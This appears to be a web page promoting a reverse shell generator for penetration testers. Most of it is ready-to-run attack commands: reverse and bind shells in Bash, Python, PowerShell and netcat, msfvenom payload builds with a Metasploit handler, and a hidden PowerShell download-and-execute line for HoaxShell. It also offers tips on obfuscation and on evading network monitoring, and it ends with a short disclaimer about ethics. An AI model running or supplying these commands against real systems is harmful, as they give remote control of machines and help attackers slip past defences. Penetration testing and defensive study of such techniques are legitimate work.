Login to generate reverse shells
🎯A Reverse Shell is a foundational technique in penetration testing that allows attackers to gain command-line access to a remote system. This page offers a dynamic tool for generating reverse shell commands across multiple platforms, including custom options for bind shells, msfvenom
, and even deceptive shells like HoaxShell. Whether you’re testing firewall configurations, simulating a breach, or demonstrating lateral movement techniques, this tool helps you craft effective shell commands with ease.
⚡ Why Use the Reverse Shell Generator?
Cross-Platform Compatibility: Quickly generate shells for Linux, Windows, macOS, and more.
Payload Variety: Choose from reverse shells, bind shells, staged msfvenom
payloads, and stealthy HoaxShells.
Obfuscation Ready: Generate shell commands using base64 encoding, custom ports, and even URL-encoded formats.
Security Research Friendly: Use shells in controlled environments to safely demonstrate real-world attack vectors.
🧪 Reverse Shells
Reverse shells initiate a connection from the victim back to the attacker, bypassing inbound firewall rules. You simply set up a listener (like nc -lvnp 4444
) on your machine and wait for the target system to connect.
🔹 Example: Bash Reverse Shell
> bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
🔹 Example: Python Reverse Shell
> python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("192.168.1.100",4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/sh"])'
🔹 Example: PowerShell Reverse Shell
> powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}
🧩 Bind Shells
A Bind Shell listens on the target system, waiting for the attacker to connect to it directly. This method requires an open and accessible port on the victim system.
🔹 Example: Netcat Bind Shell
> nc -lvp 4444 -e /bin/bash
🔹 Example: Windows Bind Shell (PowerShell)
> powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$listener = [System.Net.Sockets.TcpListener]4444; $listener.Start(); $client = $listener.AcceptTcpClient(); $stream = $client.GetStream(); [byte[]]$buffer = 0..65535|%{0}; while(($read = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) { $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read); $output = iex $data 2>&1; $send = ([text.encoding]::ASCII).GetBytes($output); $stream.Write($send, 0, $send.Length) }"
🧪 msfvenom
Shells
Metasploit’s msfvenom
is a powerful payload generator used to create shellcode for reverse and bind shells. You can customize format, encoder, platform, and more.
🔹 Example: Linux Reverse TCP Shell
> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf
🔹 Example: Windows Meterpreter Reverse HTTPS
> msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 -f exe > payload.exe
🔹 Example: Base64-Encoded Shell
> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw | base64
🛠 Don’t forget to configure the corresponding Metasploit handler:
> use exploit/multi/handler
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
run
🕵️♂️ HoaxShell
HoaxShell is a stealthy reverse shell over HTTP/S that can evade many network monitoring tools by mimicking legitimate web traffic.
🔹 Example: Start HoaxShell Listener
> python3 hoaxshell.py --host 192.168.1.100 --port 8000
🔹 Example: Windows Target Execution (Command from Listener)
> powershell -nop -w hidden -c "$a='http://192.168.1.100:8000';iex(new-object net.webclient).downloadstring($a)"
HoaxShell maintains encrypted or encoded communication and blends well with regular web traffic, making it ideal for red team operations and bypass testing.
✅ Ethical and Legal Considerations
Please use these tools responsibly and only in environments where you have explicit permission. Reverse and bind shells can be powerful, but also disruptive if misused:
- 📜 Obtain written authorization for any testing activity.
- 🧪 Use only in sandboxed or lab environments.
- 🔐 Ensure no sensitive data is mishandled or exfiltrated.
- 📘 Document your findings responsibly.
🧰 Ready to Launch?
Use the form above to generate real-time reverse shell commands tailored to your target platform and testing scenario. From stealthy backdoors to classic shell access, this tool empowers ethical hackers with precision payloads that reflect real-world attack patterns.